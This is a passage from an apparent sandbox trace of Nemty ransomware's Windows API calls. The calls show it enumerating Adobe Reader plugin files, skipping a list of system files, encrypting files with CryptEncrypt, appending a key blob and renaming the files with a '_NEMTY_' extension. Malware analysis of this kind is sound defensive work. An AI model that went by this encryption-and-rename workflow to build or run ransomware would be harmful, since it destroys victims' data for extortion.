10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.fra._nemty_kgobjgd_")) returned 1 [0190.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0190.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0190.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0190.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0190.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0190.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0190.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0190.819] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d63ebe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="Flash.ITA", cAlternateFileName="")) returned 1 [0190.819] lstrcmpiW (lpString1="Flash.ITA", lpString2=".") returned 1 [0190.819] lstrcmpiW (lpString1="Flash.ITA", lpString2="..") returned 1 [0190.819] lstrcmpiW (lpString1="Flash.ITA", lpString2="...") returned 1 [0190.819] lstrcmpiW (lpString1="Flash.ITA", lpString2="windows") returned -1 [0190.819] lstrcmpiW (lpString1="Flash.ITA", lpString2="$RECYCLE.BIN") returned 1 [0190.819] lstrcmpiW (lpString1="Flash.ITA", lpString2="rsa") returned -1 [0190.819] lstrcmpiW (lpString1="Flash.ITA", lpString2="NTDETECT.COM") returned -1 [0190.819] lstrcmpiW (lpString1="Flash.ITA", lpString2="ntldr") returned -1 [0190.819] lstrcmpiW (lpString1="Flash.ITA", lpString2="MSDOS.SYS") returned -1 [0190.819] lstrcmpiW (lpString1="Flash.ITA", lpString2="IO.SYS") returned -1 [0190.819] lstrcmpiW (lpString1="Flash.ITA", lpString2="boot.ini") returned 1 [0190.819] lstrcmpiW (lpString1="Flash.ITA", lpString2="boot.ini") returned 1 [0190.819] lstrcmpiW (lpString1="Flash.ITA", lpString2="AUTOEXEC.BAT") returned 1 [0190.819] lstrcmpiW (lpString1="Flash.ITA", lpString2="ntuser.dat") returned -1 [0190.819] lstrcmpiW (lpString1="Flash.ITA", lpString2="desktop.ini") returned 1 [0190.819] lstrcmpiW (lpString1="Flash.ITA", lpString2="CONFIG.SYS") returned 1 [0190.819] lstrcmpiW (lpString1="Flash.ITA", lpString2="RECYCLER") returned -1 [0190.819] lstrcmpiW (lpString1="Flash.ITA", lpString2="BOOTSECT.BAK") returned 1 [0190.819] lstrcmpiW (lpString1="Flash.ITA", lpString2="bootmgr") returned 1 [0190.819] lstrcmpiW (lpString1="Flash.ITA", lpString2="programdata") returned -1 [0190.819] lstrcmpiW (lpString1="Flash.ITA", lpString2="appdata") returned 1 [0190.819] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.819] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.ITA", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.819] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.ITA", cchWideChar=9, lpMultiByteStr=0x653e550, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.ITA", lpUsedDefaultChar=0x0) returned 9 [0190.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.820] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.ITA", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.820] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.ITA", cchWideChar=9, lpMultiByteStr=0x653e550, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.ITA", lpUsedDefaultChar=0x0) returned 9 [0190.820] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.820] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.820] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.ITA", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.820] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.ITA", cchWideChar=9, lpMultiByteStr=0x653e5a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.ITA", lpUsedDefaultChar=0x0) returned 9 [0190.820] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.820] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.ITA", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.820] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.ITA", cchWideChar=9, lpMultiByteStr=0x653e5d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.ITA", lpUsedDefaultChar=0x0) returned 9 [0190.820] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0190.820] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0190.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0190.820] Sleep (dwMilliseconds=0x5) [0190.833] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25645910, dwHighDateTime=0x1d561e8)) [0190.833] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25645910, dwHighDateTime=0x1d561e8)) [0190.833] GetLastError () returned 0x0 [0190.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0190.833] GetLastError () returned 0x0 [0190.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0190.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.833] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0190.833] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0190.833] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0190.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0190.833] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e29c | out: pszString="3UwflWEqVdRQFdBtCAFy4L4bmvMncjrmWyvD7WoOmM3aoITgYpIT3HQf3jdO8IDi\r\n21njz+Kaal8XkDQ8F/Y7LOEI3dF+aAMayvkY0OGLnrWQYq41K3S2mwIBr84Dc2SH\r\nlxF4Hr+aKjd59MRIc7GW4WOvvxvqh3xb+Q5W+zO3V0KutZ6/b6RqdbQQtYchxM40\r\nk+bB5cvTOWnybCOtpiIbG5cp7TGxmpjl0ZgyRcKHLMQXqHA6DZ+RJpTk5DDaUaLQ\r\n1Q8EBX7dzLMgk8T6Jva9H34WGKHZsFJJbU9f2LgJtL4JErLs9+z0t6A7OinHTygi\r\nr7o3ewPpInu4qxF/XHMq1A==\r\n", pcchString=0x653e29c) returned 1 [0190.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0190.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0190.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0190.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0190.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0190.833] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.ita"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0190.834] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0190.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0190.834] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.834] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0190.836] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.836] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0190.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0190.836] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0190.836] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340260*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340260*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0190.836] CloseHandle (hObject=0x2f0) returned 1 [0190.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403d0 [0190.836] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0190.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.836] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0190.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340488 [0190.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0190.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0190.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.837] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.ITA._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.ita._nemty_kgobjgd_")) returned 1 [0190.840] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0190.840] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0190.840] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0190.840] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0190.840] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0190.840] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0190.840] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.840] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0190.840] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="Flash.JPN", cAlternateFileName="")) returned 1 [0190.840] lstrcmpiW (lpString1="Flash.JPN", lpString2=".") returned 1 [0190.840] lstrcmpiW (lpString1="Flash.JPN", lpString2="..") returned 1 [0190.840] lstrcmpiW (lpString1="Flash.JPN", lpString2="...") returned 1 [0190.840] lstrcmpiW (lpString1="Flash.JPN", lpString2="windows") returned -1 [0190.840] lstrcmpiW (lpString1="Flash.JPN", lpString2="$RECYCLE.BIN") returned 1 [0190.840] lstrcmpiW (lpString1="Flash.JPN", lpString2="rsa") returned -1 [0190.840] lstrcmpiW (lpString1="Flash.JPN", lpString2="NTDETECT.COM") returned -1 [0190.840] lstrcmpiW (lpString1="Flash.JPN", lpString2="ntldr") returned -1 [0190.840] lstrcmpiW (lpString1="Flash.JPN", lpString2="MSDOS.SYS") returned -1 [0190.840] lstrcmpiW (lpString1="Flash.JPN", lpString2="IO.SYS") returned -1 [0190.840] lstrcmpiW (lpString1="Flash.JPN", lpString2="boot.ini") returned 1 [0190.840] lstrcmpiW (lpString1="Flash.JPN", lpString2="boot.ini") returned 1 [0190.840] lstrcmpiW (lpString1="Flash.JPN", lpString2="AUTOEXEC.BAT") returned 1 [0190.840] lstrcmpiW (lpString1="Flash.JPN", lpString2="ntuser.dat") returned -1 [0190.840] lstrcmpiW (lpString1="Flash.JPN", lpString2="desktop.ini") returned 1 [0190.840] lstrcmpiW (lpString1="Flash.JPN", lpString2="CONFIG.SYS") returned 1 [0190.841] lstrcmpiW (lpString1="Flash.JPN", lpString2="RECYCLER") returned -1 [0190.841] lstrcmpiW (lpString1="Flash.JPN", lpString2="BOOTSECT.BAK") returned 1 [0190.841] lstrcmpiW (lpString1="Flash.JPN", lpString2="bootmgr") returned 1 [0190.841] lstrcmpiW (lpString1="Flash.JPN", lpString2="programdata") returned -1 [0190.841] lstrcmpiW (lpString1="Flash.JPN", lpString2="appdata") returned 1 [0190.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.841] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.JPN", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.841] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.JPN", cchWideChar=9, lpMultiByteStr=0x653e550, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.JPN", lpUsedDefaultChar=0x0) returned 9 [0190.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.841] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.JPN", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.841] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.JPN", cchWideChar=9, lpMultiByteStr=0x653e550, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.JPN", lpUsedDefaultChar=0x0) returned 9 [0190.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.841] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.JPN", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.841] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.JPN", cchWideChar=9, lpMultiByteStr=0x653e5a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.JPN", lpUsedDefaultChar=0x0) returned 9 [0190.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.841] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.JPN", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.841] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.JPN", cchWideChar=9, lpMultiByteStr=0x653e5d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.JPN", lpUsedDefaultChar=0x0) returned 9 [0190.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0190.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0190.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0190.841] Sleep (dwMilliseconds=0x5) [0190.848] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x2566ba70, dwHighDateTime=0x1d561e8)) [0190.848] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x2566ba70, dwHighDateTime=0x1d561e8)) [0190.848] GetLastError () returned 0x0 [0190.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0190.848] GetLastError () returned 0x0 [0190.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0190.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.848] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0190.848] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0190.849] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0190.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0190.849] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e29c | out: pszString="0oQYCh/kXID1OnOqlZMXffzDOgjiKBQ8TDGa5YjvoLBFaEGN4+eAPO8ane8Ec9D6\r\nTrAZ2kJq9DHDwEFfgGAEoNM/NGyM+8AJIJoNbIhvl4EEuqRAhm3xO7oszyKYss1d\r\n8ssRgy7Mru54pL2flcTck2LcuSnWZPvHOp2P/EfTRnBcrA3xbADU1DDYa1B+QngQ\r\n1EYTV7GZkKgP5bAMYbRfDIlslX9dnAqjli7/UvS7D0VnMfgDg5aNBQNWvob4zUa+\r\ndm/kvgtWRGsl95X1nuB2dKELpxoDW/YoioJjqcy8E+tR27QmkJKuW/gSVwy0iBnR\r\nqTeoBV+WiDkAWEY2+lzeVw==\r\n", pcchString=0x653e29c) returned 1 [0190.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0190.849] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0190.849] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0190.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0190.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0190.849] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.jpn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0190.850] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0190.850] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0190.850] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.850] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0190.852] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.852] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0190.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0190.852] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0190.852] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340260*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340260*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0190.852] CloseHandle (hObject=0x2f0) returned 1 [0190.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403d0 [0190.852] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0190.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.852] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0190.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, 